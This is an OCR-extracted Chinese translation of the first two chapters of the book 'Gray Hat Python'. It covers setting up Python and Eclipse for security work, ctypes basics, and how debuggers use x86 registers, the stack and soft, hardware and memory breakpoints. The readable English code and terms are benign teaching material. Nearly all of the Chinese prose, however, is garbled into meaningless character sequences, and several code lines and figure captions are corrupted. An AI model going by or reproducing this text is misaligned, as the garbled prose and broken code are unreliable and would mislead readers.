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XL FIHOR, AT VR RO AR UG, TR LS BORA R — il FIE R, £ UG I 2% 20T K,
KRERBEREN AT T .

RARART WA TEE, Il A —E ML EIRE . R ARZ—4 Python H7 T,
EUGEE AR S, FOVREFEEIRE A EH) hack JRELMAIEETS, [FT LS HI7E R
B EIIMES . WRIRCZXS Python R#E, JFHXT ctypes FEAR 1A% 1, JR#iwT LBk
AT, AR, IR DU R G P BOGEN — 5, AR A T VSR R .

TAE TR Z FH RS, RO ER AT hacker BRI\ EE — 2 I i i 2,
L Immunity FINFHAY R, BFZESFEMZE-LFED hooking LLEIENFARMINHAH TN
A7 W48 ) R AL 2

AR HIEE IR XS fuzzers A A . 5\ ESPEIEMY fuzzer JHE, FEHME—
AN TE R file fuzzer. S ILEE, A5 KH Sulley fuzzing HEZE, FFHAEME fuzz —MNHEIE
B FTP k%525, 615, ¥~ E— Windows IKZ)) fuzzer.

B —&, N9 IDAGR T HEASRIC g T H)M) Python ¥ . + =%, HHMUHH
PyEmu, —/M%&T Python [fI1/i 4%

AP E A AR AL B AR FR R 4, 7RSI 7 #R A T VRN . S — T T E S
BB, R SRR AR S FTULE WS AL H S F 5. B VRIS n] DIE
http://www.nostarch.com/ghpython.htm #£ #.

Now let’s get coding!
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Kb BBkes RN, EHRRMEEE, UK REPIAMED, EROANEZGAR &
AR FEATT--- B BTGB AT A BA 52 (J8 F2 18], codeblue, NE, 000 ), BAREZHH MR GIIK
HIZIT, A A LEBRERZR k7 5= B BRI hacker 47,

BRI, ARLELE 2 ARG 2 7 ALK AN R P O, R RV K AN &
DM S AR R . R BRI IRI B gk, ABAad.

N E A E AR - R [ 2 B[ B2 0t]

W 4k B 2 B H H 2 6], winger

F1#:20-30

YmAE1E S :asm, ¢, python

RESURINE Y il S SN

Tl X 4 R G0 B

TAE:H %4 TAE#H, secoder(security coder)
WX 31k hi.baidu.com/freewinge
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REEAELTFECH TR, HAERXEMEESE, EaikR
LR R

X RA T2 (a1 B UHR , Python2.5 192234, Eclipse Bt &, LA 0405 C 2451 Python
R0,

L1BE RGNS

FLIE ) BB T 5, Windows S s U0 B AR . ToE THEATIZ B EE, (4R
T FF KA Crack #EFEE S, BT ARSI A #82E T Windows(FE ATk g 4w () 21 1)
Windows R AY).

DER BT RBIZ AT 7E 32 ALY Linux bo Joit @3 /E VMware(VMware $2 it 6 2% i
AR AFENRRA RO B2 SENL E, #4T. Linux fRARZ, AL T Red Hat 1 & 47 *F

% :Fedora Core 7 or Centos 5.

4 4 37 [\ VMWARE 414 )

VMware 7 M5l F3AE T 5% FIRA . XL EBWNLH T8 T2, RS, s
FEFFEIIRR, R ASAT ML 5E 2 A IR .

FFERF T AEEEHE http://www.vmware.com/appliances/,

Pyayer 27 T # 5% #% http://www.vmware.com/products/player/ .
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1.2.1 £ Windows [ %% Python

Windows )% 42 iR A< AT LA A Python 51 E T4 http:/

python.org/ftp/python/2.5.1/python-2.5.1.msi. X7, —— DI IRRLZEEMIT. LRI

F H3% C:/Python25/F, %35 | python.exe FIERIN [

R BBCRF 24 Immunity Pl8E, HOE TIRZBAWINER, HPmA Python

25 . fEJE M OE WP, AT HE & M H B Immunity .

http://debugger.immunityinc.com/( 2 I FIL B 5 E k],

1.2.2 £ Linux [ %% Python

& T

WERFEEAE Linux | T %48 Python 3, 7T LML T~ WA BT . X B H Red Hat

HIRTA R, FF BIXAN T RS root AR .
$F—25, T Python 2.5 YR FHfiF [

# cd /ustr/local/

# wget http://python.org/ftp/python/2.5.1/Python-2.5.1.tgz
# tar —zxvf Python-2.5.1.tgz

# mv Python-2.5.1 Python25

# cd Python25

ARD A7 J5 3 /usr/local/Python25 2 &, Gk B 4iikzeds 71

# ./configure —prefix=/usr/local/Python25

# make && make install

# pwd

/ust/local/Python25

# python

Python 2.5.1 (1251:54863, Mar 14 2012, 07:39:18)

[GCC 3.4.6 20060404 (Red Hat 3.4.6-8)] on Linux2

Type "help", "copyright", "credits" or "license" for more information.
>>>
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IAERATERAA 7 — 3 53X Python Shell, HE% H HAI#/E Python Fl Python /& T .
FANAE AR

>>> print "Hello World!"
Hello World!

>>> exit()

#

RIF ! — VI TAEIER . A T ik RS RE 4K E] Python 11 45 (I 4E, 75 B 4m % /root/ bashre
SCAE(/H P 44/ bashre) o AN N ELEE W nano, AT AR AT DA /R 2 %k g 48 4 (S N HERE vim 2
), ] /root/.bashre, TECAFERIBIIALL FACHS .

export PATH=/usr/local/Python25/:$PATH

XAERFIRIIAT python iy 2 HIBE, BEAS I\ 582 (1) python #6421« FIKH root %%
IR, FRAEATAA shell R4 python FtfAgfF 2] —N22 H UM Python Shell T .

N IR AR, FIHLEIRAIE & H & IDE(ntegrated development environment ).
(FR B RIAEZU T : ActivePython,UliPad B¢ Script NET, ipython {3 bpython. iR, H 2zl
e, ZHUHEHE T . )

1.37C & Eclipse 1 PyDev

7R B K Python F2/F, i ATEAE FH —AMRE M IDE P& . X BAEHE
TF B Eclipse(#5°F- & 1 IDE)AI PyDev. Eclipse PAE: 58 KB A 58 #4144 o R IHAEFRAT]
A MR E e

M http://www.eclipse.org/downloads/ T %% & 4 £,

iR E3]  C:\Eclipse

1217 C:\Eclipse\eclipse.exe

BRI T, WA R E TAEX M EH S AT K Use this as default
and do not ask again 2] I, s OK.

5  Eclipse Z# 41 LLf5, %3 Help Software Updates Find and Install

6  i%%F Search for new features to install 2R J5 55 i Next.

7 Riii New Remote Site.

8  ff Name /5 [iJH I PyDev Update, 7t URI J5[HIJE L http:/pydev.sourceforge.net/updates/,
My OK ik, 4% it Finish, Eclipse 2> H#1TH4% PyDev.

9 I—2)L, BEHEOMma B, AR PyDev Update, #% L PyDev, H.ifi Next 4k
g —.

10 [#i% PyDev Wris, WIS [FJE, 7E Iaccept the terms in the licens agreement i% I,

AW N =
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11 Hid5 Next, 1 Finisho Eclipse JF4fi%%% PyDe ¥ &, 2&¥5EHE, Hifi Install All.
12 &J5—, 7E PyDev %3Uf 2 J5, il Yes, Eclipse 2 5818 83 1# PyDev.

fEF P RECE Eclipse, AR PyDev R IEAf1H F] Python fERE 2 PHAT IHIAS

Eclipese X3l f5, %+ Window Preferences

$ & PyDev, 1%£%f Interpreter - Python.

15 X1 HE T 1) Python Interpreters HH i il Newo

W %2 C:\Python25\python.exe, #AJ5 fiili Open.
R —AXHEHER 251 H Python W L4 2285 T (I .
PR OK SE &3 .

A

TETF IR ImAD AT, TV —A PyDev L. AFH ARG H AT LAEIX A T 4T IT.

1. KK%EFE File-->New-->Project.
2. J&JF PyDev i PyDev Project, siili Next 4£%4%:,
3. ¥ T4 % N Gray Hat Python. #5 7 Finish.

Eclipse & N HaWEHr2 J5, 2% #| Gray Hat Python LFEHHIIFE A2 L. BIfEA S
sec X F¥, %P New-->PyDev Module. 7E Name B4\ chapterl-test, s Finish. ¥4
ER|, TFEMMRBEH T, chapterl-test.py # 12| F|FRH .

1t Eclipse H1i247 Python A%, HE L T HA L Run As(H £k B L 1) A k) 3%
AT 1o BZAT AATRIA, ol DA FH AR CTRL-F11. A 40 H 2 7R 7 Eclipse
JiCE ] Console THIAR » ILAE 7 FHE R RS,

1.3.1  hacker ]/ & :ctypes

ctypes /25 KH, HRKFIAAS LU A LTI A BRI Tt A e RATHRE 151
FEhA e b s B, R B S AP AT 2 B C Bl R B A I Z B AF R . 2 TCBEN], ctypes
LA 2L

132 [HHzhSRERE

8T ctypes 55— 2502 B B WHRT AT AU i) Zh A BE R R () R $ . — > dynamically
linked library(# 8) &5 & 8 110 2 ) H S g — A kil ek, A —fE aAE4r, & H 7l
FIFEFF IR 4T . 7€ Windows b HY{ dynamic link libraries (DLL)#z) A58 %, 7F Linux 1Y
fi shared objects (SO)ILZE. TibftAF &, XL bk B L At T i 4 78
ZJa HAE N AR R R k. B AR FAE DL, SR A eR 5, #8020 56 A AT HY ek S il
At ctypes BIRATTERL TIX— .

ctypes $4L 7 =R 5 RV F Bh & BERE FE cdll(), windll(), 1 oledll(). EATHIASFE 2 ALk £E
T, PREEH JTERREME . odll() IREATZE, 5 H B9 R B 2 AR HER cdecl 1 H
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215 o windlI() 7V INE A 2, HS R B0 Zid A stdeall 5 20 (Win32 API ) JR 44
5E)o oledll() /7 V5 AT windll()ZEMLL, ASid 4 S pR #50R B — A4~ HRESULT 45 1%4X0, 7] PAE A
COM PR3 2 AR R E B .

W4 %

WHZ e BRI T E . b s, R8SHEEIE, Iy EAREL
FARLEZATAS), VUSRREUR BIR, ARIFPHTAREE . 1 HDX P A 20 e 2 TR A T8 o FH 2
cdecl and stdcall. cdecl IHZIE, REISHINAT LR TIEANRN, KB,
TERRBIAT SERUG . 5T BBl . IXFP 20 e % F T x86 2R C &5 H.

InC

int python_rocks(reason_one, reason_two, reason_three);

In x86 Assembly
push reason_three
push reason_two
push reason_one
call python_rocks
add esp, 12

MRS, BT ST E H SRS, s —AT, FRIREHE N T
12 N FHREANSBE B RE, B EAARIRE A S 4 N7, 3L 124,
i3 B SRR K E R AT AL E .
N stdeall AL ER TH1F, T Win32 APL

InC

int my_socks(color_one color_two, color_three);

In x86 Assembly
push color _three
push color two
push color_one

call my socks

RABITH, SHEALE IR WA, AT A B i R 20 my_socks
Hosem, mAZEME.
B wG X PR 5 SRR [BHMEERAF i 7E EAX .

A R RS, B C FEHR A printf) BT ED— 4595 S, Windows 1) C
fi7F C:\WINDOWS\system32\msvert.dll, Linux "] C FE AL F/lib/libe.so.6.

chapterl-printf.py Code on Windows
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from ctypes import *

msvert = cdll.msvert

message string = "Hello world!\n"
msvert.printf("Testing: %s", message_string)

LR I

C:\Python25> python chapter1-printf.py
Testing: Hello world!
C:\Python25>

Linux F&A BEHAN R :

chapterl-printf.py Code on Linux

from ctypes import *

libc = CDLL("libc.s0.6")

message string = "Hello world!\n"
libc.printf("Testing: %s", message_string)

LR e S

# python /root/chapter-printf.py
Testing: Hello world!
#

A LAE 3 ctypes 1 H 2 25 55 56 Hh ) eR B0R 2 TR 52

133 i C HiEkAa

{8 H Python €Il —~ C ¥ AR 7 B, AR o] LUR 2 25 (A6 FH H C B CHHE8 R 2R A
Listing 1-1 SR =F Z [AIFX TR &R

C Type Python Type ctypes Type

char I-character string c_char
wchar t I-character Unicode string ¢_wchar



Python

char

char

short

unsigned short

int

unsigned int

long

unsigned long

long long

unsigned long long

float

double

char * (NULL terminated)
wchar t * (NULL terminated)

void *

Q0 783462347

int/long
int/long
int/long
int/long
int/long
int/long
int/long
int/long
int/long
int/long

float

float

string or none
unicode or none

int/long or none

Listing 1-1:Python 5 C 35X R p it

500+ Python

c_byte
c_ubyte

¢ _short

¢ _ushort

C int

¢ _uint

c long

¢ _ulong
c_longlong
c_ulonglong
¢ _float

¢ _double
¢ char p
¢ _wchar p
¢ void p

THX SRR R E R HTT o ctypes ZKBUHIARAL B, KNSRI A 27T & 7€ X

MR, BN

C:\Python25> python.exe

Python 2.5 (125:51908, Sep 19 2006, 09:52:17) [MSC v.1310 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.

>>> from ctypes import *
>>> ¢ int()

¢ _long(0)

>>> ¢ char_p("Hello world!")
¢ _char _p('Hello world!")

>>> ¢_ushort(-5)
¢_ushort(65531)
>>>c_short(-5)

¢ _short(-5)

>>> seitz = ¢_char_p("loves the python")

>>> print seitz

¢ _char p('loves the python')
>>> print seitz.value

loves the python

>>> exit()

% G — N1 F K AL & T "loves the python" [f] - 15 5 48 £ K (H 45 A8 & seitz, JFil i
seitz.value 772825 H T FaEH RN 2%,
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135  EXNEHNEE

SN E B S B A B R, KRS 15 A T WIN32 (] APL A Linux [#) libe H.
— R R — R PR RS (A AR B G ) S S5 8 N AR AR R A ik
HRRE], AL AR E 4 RV A . EL beer recipe.amt barley, Fftj& 177 beer recipe 45
FJH i) amt_barley 4% & .
InC

struct beer_recipe

{
int amt_barley;
int amt_water;
¥
In Python

class beer_recipe(Structure):
_fields =]
("amt_barley", c¢_int),
("amt_water", ¢_int),

]

WARAT I, ctypes 1R B FRAIHLAIEE T — > C AWML,

A RS HARAR AH 2B A AT B A R AL — AN W AE bR, H b — AN & N A7 25 ],
TRAN 23 [8] ) RN B A e R TR AN AR B 1 R/ o IXFE B RE B0 I &1 A [R) 2R 2 1) AR 2 A
(IR

InC

union {
long  barley long;
int barley_int;
char  barley char[8];
tbarley amount;

In Python

class barley amount(Union):
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_fields_ =

("barley long", ¢ long),
("barley int", c¢_int),
("barley char", c_char * 8),
]

R BATE — DN EERE LTS H barley int, FEERATH AL barley char, H
FRITE A E RN N 66,

chapterl-unions.py

from ctypes import *
class barley amount(Union):

_fields =]

("barley long", c_long),

("barley int", c_int),

("barley char", ¢ char * §),

]
value = raw_input("Enter the amount of barley to put into the beer vat:
my barley = barley amount(int(value))
print "Barley amount as a long: %I1d" % my_barley.barley long
print "Barley amount as an int: %d" % my barley.barley long
print "Barley amount as a char: %s" % my_barley.barley char

R

C:\Python25> python chapterl-unions.py

Enter the amount of barley to put into the beer vat: 66
Barley amount as a long: 66

Barley amount as an int: 66

Barley amount as a char: B

C:\Python25>

A TR — ME RS B =F A F R BT 30 B )5 — > barley_char #1145 R 2 B,
KN 66 Wil B ] ASCII 5,

barley char % 52 [F] B B2 N, — AN )\ FRER/MIEAE 7R ctypes HH G — N4,
B R AR R A AR EL FR i (I E st T BL T

— U4, JHRBATRIRFET !



Python QQ 783462347 500+ Python

2
R it

WD RENRE. REESMEHENEFHITAR
BT, AR S K 2] exploit fuzzer 1K EE T IR,

AT RE S1 R BRI AR KT o s T8 2 £ I A 5 0 P 8 AR o

T BT R S IR B, A TEEAN IR A RAGE 1o S BATTS A SR FE AT VAR PR e
SRt TR 2RI tanistT, B, Pk, — DIt BN BRIER
FEEs MR TN H, RERZERAE G, 12 POX 5 BRI R

FERAN I A0, JeibBAi1se 7R T B & A B S AR 2RI Hlie
BWE—ANEM IR, VTR TS S AR R 7 BEAT RS 8 A ER BRIl X2 B
P B BAVRMERT BIEACRD B, TF A, WA TR, Hacker A2 NI R &M i ER
BR HARRERY . SRE I, Sl sl i B AR UG AE W, ME—RER 2R & R g
o IXIHE M AR IS VERAR, 3R AR PP R ORGSR %, JERR I (Mt 5
% o B el A A BOR B A AT (380 1F) T RO X AN R AR A T 5, ek, A I T
ER R, HEHIPREE TR,

AWM B FIA R A P R, PR GEE TR0 42 ring3
RINFET) RARFEIEAT H PR B — e GEiE IR 7). P B B PR 2 s AR
YiRiefT “izBEE (caclexe)” MIRIME, wiar=A— AP GO MRS XX AR AR
o PR OB U AUR B B . X BB ITERIE RGN, WAFET, KE
HAF. 43817 Wireshark BAREHE I %, el —A TARE N BN IREN A8 B g
PRASEF KB B AT IR BIPIR AT, o 75 240 F SO AR B A B PR3 T

X e P B R 2 KK NGB A T WinDbg (42 7%),  OllyDbg
(=Mt KES 1F3# /2 Oleh Yuschuk). 4/R7E Linux N iFRFER IR, 57 24 H]
PRAERT GNU ka5 (gdbdo DA BRI =K 2 058k, #5083 R i s

B VA, R & B RE M AR S T2 MR e, R AE Windows 1 5.
R R N I el w5 B a2 N 2 N e W e 55 R v s A DA |
R, teinge 2874, DLAIARIN & 18 Hacker A ) TREIT & 7€ il &5 FhTh g . 76
X7 T LT AN B B B A AR M I AE & 43 i /& PyDbg (byPedram Amini) f1 Immunity
Debugger (from Immunity, Inc.).

PyDbg & —M4f Python SEIL A #% , 1k FE 2 BEMS FH Python 15 5 4 1HI A4 — D HERE,
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SEPLE EAE R . Immunity PEIRES NE — NSk REIR AT — 2 RS, A A 200 A 4T
ALl OllyDbg, {H A 55k KT RE LA LK B 2 1) Python AR E . XA RRASE A1
JEZE TS TENAN A BEAEIRANTRN T R i — B 2.

FERXF, A TR T & R AE x86 ~F & TR B, il 0 CPU 1h R &5, ()
R LA B I % 0 S R 1A A VR ANR FE, BRI 28 1 AR R, DU SERLERAT I SRR
AN R

2.1 #] CPU F15%:

CPU {127 17 25 Re i 0] /b & (B AT PO AP BT 7] . 7E x86 fRA4EHL, — 4N CPUF
J\/NE 217 4% . EAX, EDX, ECX, ESL, EDI, EBP, ESP 1 EBX. tHRZ M F17es, &
B B AR PR . 1X )\ A8 AR S A AR, T AT E XT3 18 R
AR RHEEN . LTAVETEE R — BN F AR MIIEE . &5 TAT PR — A&7 s
565 K Uk BH A e AT B A5 FH 7 9

EAX af f7ds L BN arf e, R 1T 776k o Bk [BME A0t AT 3 $AT T SR
BefE. FZOULH x86 4R LML 18T 74X EAX A7 485 I 5 TR & . Flin &
SR, FL BB VRF IR IS B RAF HA L 1110 EAX fRAETE 2o

ROTEHRATIE T, BRER AR AE 7 EAX PR 7as . X — GRE L, Rovilidig
[B1 ) EAX BB FRATT T LARIWT e B AT O 5 75, BE 13 B0 D) iR A

EDX & 7 a4 M 00 25 77 2 o IR AP A7 AT R U /S EAX A7 4745 (R AE A,
EHI EAX 58 UE 2 BRI R EEGIREMERE . © BAWA SE B SR,
B2 MR 45 A EAX ZF A7 AT T SRR

ECX Zifrds, Wt fAas, M TN ERE, WinES W PR mRE, 58
THFG . A—SREE, ECX F EasitE g m NimAgm B (e s it & A T
PEFR AR 2t RIEN DD 6
%&— T T Python A BX:

counter = 0

while counter < 10:
print "Loop number: %d" % counter
counter +=1

IRARAEIRACS FAL BRI A0S, IR B3 — R M % ECX R 4T 10, 55 4
I EE T 9, b )R S FNIE BCX J/b 3] 00 IXARA Z ik N, BINiX A Python HIJEHH
WIS AR S, (B R ZHEAS ECX 2 A R iH ST 1.

7E x86 1% HL, fK & ESI M1 EDI %3 77 28 REX] 7 ZAGPH B A i B0 BEAT v R AL B,
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ESI #1788 e IR RSB, AEEM NI R NALE . EDI 771783 /& B M E5de 4t
it TR RGN E . TS 2, ESI (source index) FFi, EDI (destination index)
HT5. HIREESERE A B B ESdRE, WORMSEE TR FREE R

ESP A1 EBP 73 Al /&t fa 41 ML AR B o X PN A7 47 45 3R] 9 50 ok B0 1 AR PO
Yo 29— RR B I, pR B0 21 2 et 2 s b A P 45 i R 8001 3% [ b ik B A0 T
Bt ESP fE I, itk mtht. EBP W4RE R, A RH%, 9% s it i
6, BECEBP, AEH A TR, AR i A A s

EBX & ME—— MR RIAR AR WA 3% . B RENE VR A A ik A7 5 -
A — T B KA S BIP. XA A7 88 B2 8 A 5 EEHATIIIE 4. 24 CPU
AT — MR I RCT L5 AR B i, BIP 2 SEIN 4R 18] 24 57 CPU & B EHAT R AL E .

— MR AR L ARENS IR 7 (AR EAE UK L 25 A7 33 BT N 4 o B — MR R GRS
T MRS CPU &2 H, DMEREMS SRS HOX S8 . JATRAE 5 T OB AE R 5t
VR A SO A T A

2.2 %

FETT R A% R, e — AR B S5 4 o BRAF A 1 5 RR B0 A R 25 A3
BLFE R B S HO iR B AT S8 U R [ 77 % ESP HA 3T EREZAARTI,  EBP fi SR ERFR R .
M PAF T it AR ARG o LEBRATHI AT 20 5 I s L my_sockOfF Bl U itk 2
il TAE

Function Call in C

int my_socks(color_one, color_two, color_three);

Function Call in x86 Assembly

push color_three
push color two
push color_one
call my_socks

FRHEZR R S K & 2-1
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ESP register ————m= Return address

color one

color two Stack growth direction

color three

EBP register ————m= Base of stack frame

B 2-1: my_socks() XA AREH

WRAR L, 3X 2 —ANEH S R B s S50, [RIB t2 Bra 185 o e 300 FH ) R il . 24
my_sock() BRI ER ] I, Bt AR BATE S0 GREHESRS] EIP), SR/5BkF]R E]
Hitik(Return address)$& [ L 5 (SCBREIARAGEL) kS AT . 55— EH B2
AR A AT my socks()EREY R — ml, LEIRA MR € BR B J5 S 2 — R 2
I — N, BS8 color one EHillBIEALHE . AN AZAZIXFE:

int my_socks(color one, color )

{

char stinky sock color on[10];

PR 7E A8 B B i stinky sock color on AR &2 [E], DMEEMEIH CHIRSHEE R
BPAT BT, A ERENE RN, WERSEIBL). FIEWII G, RS
MR 2-2 B B RIXFE
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ESP register ——— = stinky sock color one

Return address

color one

color_two Stack growth direction

color three

EBP register —————= Base of stack frame

Figure 2-2: 1E stinky_sock_color_one Hii5 5 IR HESR
BUAE VR 7 A i bR H0 e 2E A L R IR 10 DA SRR R B e AN BT 1) 38 K 4R 1) AR T

(o IR HER SR IR L RE TR AT 2 I, R AR B AT R i A 358, SRR O A 0
TR G X S R B

2.3 AR EM

R SR YRR OB 1 & — ELASPR R4S, BRI B — MRS BRI R A . MR
PR A SO, 2 1 5 2 7 0 0 A 0 6 5

b B K PR ORI, VR B8 S 2T IR RS A F — B 04K DA F RO B o R — A
VS STRE AR IR (LB

*  Wrsifik
* AAFEIEEB YR IR B ECE B R
* ERFRW
BEAS AT R G AR B0 75 2R IR L S A i 25 T s XS B B R R Gy

VEARA A o FOTIERE RS, REMIE (FAA) BEEHEME, LafELRE sl SR A2 LA
LB A BERR R R NI %
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—AMICT5 U K 2300 IR T E R BIAS (4, RES B 52 SCFAE AR B bR B T X R P it
T B 25T, — AN AT IR AR 0 Gk DX H S X T R SR AT 24 A R
ARSRAE I I R R AU IR S B, — 2 — P IERAE R o (B2 A A 2 il
Uf PR AS RV R % i, e RE S S ST AR X N SR AR B R 2, O B S LR T
FHRHE R o IXAMATT A T IR, 38 Lk FRATT 5 4 v A4 o) B A i A2

24 WA

2 IRAT T EE AP TR 25 P I Mt 7 2 2 W ol T e R, RATTRE LS
Ak, SIS AR, JF HIds AT, Wi g 3w 2Rk, SRR r s i
XEEThRE S LE AR AT IR BT IE . Wi sl E B =R PRI A, BRI A, A AEIRT R AT
FEH AR TAET7 20, ESEBL T BN &AM H] .

24.1  BAWT A

BRAF W BT St A AR CPU AT 2R 5E (7 B IR AR I A L 45 o BRI o
R 2 AERAE PRI AR b FH B 2 AR e SRR BT A A B 2 — S B4R S, T S
WAATIEF? , FRR R I AU R 25 1 12X &5 O W il AL B ek B 7240 B B e ] A 2 BR800
ST REAE x86 T Z LI MRS 1 225 o

IL901R 2/ CPU PATI i & M RR R Ty ik #4017

MOV EAX, EBX

XAME AV CPU HAEH(E EBX aFfEas IR U MR EAX FfAes . A4, A

FENG? SR CPU MRAA B I NIA 48 4, 8 0 20 A il — PP Y (B ERD IR AR G o R 1ETD

(opcode) #f /& operation code, & CPU ReFEARH- AT IIEF o BT AV T8 2 A0 iR AR 1Y
A T X R

8BC3

RV, e IEEHEAT FHR AR 2 0 NI, HIX IS CPU G S . 1R
LLAEIE g 15 2 AR K CPU {11 DNS (—F @M A A 1P B RIZE 55D o ARANHT H— AN
IR MR P R0 CRABL TP kb, O (2 ] B AV 2 e I MR 2 #
SO G G AR AR I o 72 HH R P AR AR 2D 2 P BRI, (ER A AT TR T BRI
AL AR
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R FRATTSE AT PR K i 2 K AETE 0x4433221 iXAMHbbE, — o X R RoR 1

0x44332211: 8BC3 MOV EAX, EBX

KGR Tk, BB, MEBRNCRTE S . A TR bR BN, B F CPU,
BATRE N 2 AT 1) 8BC3 HRAERD et — AN B 5 B3RS o XA B (R BR AR B e el
23 5 iE4 (INT3), —4kfeilk CPU HIERFE4S. 3 Tl s/ £ 0xCC.
T L 1R L N 1 T A TR

FEWT AR E AT BRAE S

0x44332211: 8BC3 MOV EAX, EBX
W R A B B R AR
0x44332211:  CCC3 MOV EAX, EBX

RIS RS R ) 8B B E e 1 CC. 24 CPU $AT BIX AN RAE TS IR i, CPU 15
Fffl A —A INT33 5 WD FAF. W B B REAABIX AN S0, HZ2N T iiHRATE SR
s, PRSI BAR R IR B, sl S A H s v & — N s,
B H AR AL — AT RN, SRR ORAEEER, TR I E I AF i 7E A B A o 7 51
Repo 84, MRS DT EREN CC HARIA AL, 5 CPU $44T 2] CC #AEI )
I AL 2l — > INT3 R s fF, e a8 g RE R PE 2R A F . a8 28 ki A
KA WA R IE GBI EIP $8EF, fRA4RENRAGE B CJeul W E W m il . SRR
AR A B A T i B R R B TR Ak, K 50 B I R A A AR OR B R AR RS S (8 21 H AR
b, IXAEHEREOR AR R S SR IR W MIPAT o 18] 2-3 XY IREEAT T PR AR 2
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Breakpoint List

Address Byte

0x44332211 8B

@ Debugger is instructed fo set a
breakpoint on 0x44332211; @ Overwrite the first byte with the
it reads in and stores the first byte. 0xCC (INT 3) opcode.

a8
£ &

N

— CPU [EIP) —== | 0x44332211: BBC3 MOV EAK, EBX

© When the CPU hits the breakpoint, =
the internal lockup ocecurs, and the
byte is lipped back.

B 2-3: AT A A B AR

A PR R BB E W T AR s — IR PR I RR SR T i — IR PR R, —
HIbr el Carrp) — et AT BT SIRIERR . — N RFAERT GAE CPU filt
Ja 2 BB R N BRI RS 3R I, DU Rs AT B L 2 b .

SRR AEWT kA — A R 24 RER3 T 4 R e B0 N A2 s i, AR RIS 25038 18
AT A PR R U AR TSR & (CRC) . CRC & — MRS S 2 W R M sk L, ek
R 30A, WAE, SOA, 48 Hdfs 6 AT ] VR AR M A8 O i 7 . CRC K — &
VI N OB EAT hash (A THERL, 7R ) AR b — i e R ) A A7 s AT 18 51
SRJ5E K4 hash A AL HT B 46 (9 hash fEREAT B, DA 2 S 0528 o RS [R) U W Bt
Weeksh 7, R RIM X AR EL, R 3 R 48 W A IR P A2 A A7 s AT ARG 1 CRC
AT, AFEGABIRGES, MESIRIEE C. 7R FRR IS OL T B AE I 1)
BEAT R AR, b E A P RE AR T 5 1

2.4.2 TR S

BRI AR A JCH R 2 R — N R IX IS N B BT A, (2 SO B E AT fi.
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XFPAY P W S B B B AE CPU 22, JFHFRE M A e k% Aa. —1 CPU — & f
8 MEIRZ /725 (DRO 47253 DR7 FA74%), ‘EA M T B0 -0 . 1R % 7728 DRO
FRIR A7 4% DR3 fAABRE Wy s bk . X R WREE R A — B 8] PN e 2 HBEH 4 AR BT A5
DR4 1 DRS fR 4 . DR6 /&R ZF A7 8%, Ui 18 W7 s ok iR AR 928 8 . DR7 A E
JE— AN W S T O BT A A, IR A7 7 WS AR 88, B DR7 F A7 e Lt E
ANFERE, BERE A LUR JLR s
o MERE I RE A R A PAT I Ak
Coe MR R R A O AT LS ON R R
2058 H bk B S s S E AN AT I
XAFEEH, URERKERTHW S (B2 40, XRBBHEET BRI .

K 2-4 SR 7 SRR S RPRE, KRR R 7 B

Layout of DR7 Register

LIGIL|G|L|G|L|G Type | len | Type | Len | Type | len | Type | len
.
DDDDUDDDf DR | DR | DR | DR | DR | DR | DR | DR
ofojrjnj2|2|3|3 ﬁ
Bits|O |1 |2|3|4|5|6|7| 8-15 |1617|18 19|20 21|22 23|24 25|26 27|28 29|30 31
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DR7 with 1-byte Execution Breakpoint Set of 0x44332211

1{1|0|0|0)0|0]|0 00 | 0O | 0O | OO | OO | OO | QO | QO

L‘J L

3]
R Ox44332211
0
DR7 with Addifional 2-byte Read,/Write Breakpoint at 0x55667788
=z
IIIIGDUD/HG 00 11 01 00 00 00 | 00
=
? -
D
ke 0x55667788
1
Breakpeint Flags Breakpoint Length Flags
00 - Break on execution 00 - 1 byte
01 - Break on data writes 01 = 2 bytes ([WORD)
11 = Break on reads or writes but not execution 11 - 4 bytes [DWORD)

Kl 2-4:DR7 FAE8E T W 2R3

0-7 RCAEBEAF I 4 UM AT 36, (BB LA G 5 BUR R HR 4 2 {1 F SR
Bk BARBAMGHRE T, DAIRIOLYF B IR LR AR T 825 f
FERAT— MR RS, 75 x86 HO T AT LR FI e T B0 545 (0 VAR AR . 16-31
RrYess TRFLLE 4 MU0 A 47 e B HINT RO 5 K

FUERAE T SAS ], A 07 AN 2 B INT3 A, A2 INT1( 5 91 8. INT1 67 5 A
T RD . DEE C Single-step ) BMWE B BIPATIES, MRS L5 G4
ARAS DU IS AR 78 4k . 7E CPU BRIRBATARADZ |, #2 Jaffi 2 Bk BT IS (1 1
b2 75 e A BT AR RIS A R 5 A AR BT ) A B T R T R A X B
W RAT A i 47 7E DRO-DR3 Hp stk B i o) (1 X 3 v 1) 7, kAl INTL i, RIS
% CPU. WIHEAH, CPU PUTED, BT —AT/REE, CPU 44:H & FIHIMAE.

TR AR A Y, B A — BRI . — 5 TR R — I TA) S e 1 L DY AN s 53
—J7 W SREAE R XA A 4 D55 (BRAI 4 A1 f P AF 80 D . an iR AR AR
PRER— R, AR T o D8 TR, AR5 T 32 3 A7 I R
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243 WA

WA R SR BRI Rl 25— DRSS CE T — D WA RO i, e s
232 T NAE PN B EE TURIALR o — AN A7 TR R R G B o N A B . — N
IR FRE DI UG, A 7 — RUREE, BUE 7 NAAZ I Rl . R — e A A7
TR AR 11«

AT RFPATEA RS, 75 W H 5 i R
AR S SRV AT R, AR AR DU 4R 7
LT FEVFRSEE 5 N\ T T

) AR ORI T A SRR, 2 JE DU R 5 T RS

REZHARG VARG A XA R . 284901, IREEAENAEP Al — A0, BERe
BN RS, [FIE 7 —AN T BE AR 13 X REAT « B—DMEAE RS EA P2 1 ek B0 VR 2 24 i
WAZTT GEAZFTE D R, JEHAMENT. S5 K 2-5 WA [FIAL PR ) P A7 00 TH £
2 AT 7 6] 1T o

Read, Write, or Execution
flags on a memory page
allow data to be moved in
and out or executed on.

Any type of data access
on a guard page will
result in an exception
being raised. The original
data operation will fail.

R O10101010110101001010101010010110101010101001 W
- -
W
0101010101101010010101010T0010110101010101001
-
GUARD PAGE EXCEPTION
- -

Bl 2-5: & AN FIBURR B9 P9 A7 3

Read
Write

Execute

\

T
Fo
K

.

X B RAVEDLHB I L RS T (Guard Page) o X AR T W 45 FH T 4 B Ak 5
B OR— 87> WAEEE A K L I o 5 — R O0, il 24— N5 E 1 N AF R A i b (U
WD) 1, BB BT, WERIRA IR A — SRR S RE Y, 2 H R X 2% Hid
WG, BAVEA S RN A LIRERY I, SRR, — AR RS U
], A CPU B, il — MR TR, XA Dol BEmh & R 7 2 AR A A i
P2 75 S5 R R Bl T o 25 PR RS T IR N AE 4R 4, 4R T 2 R 0
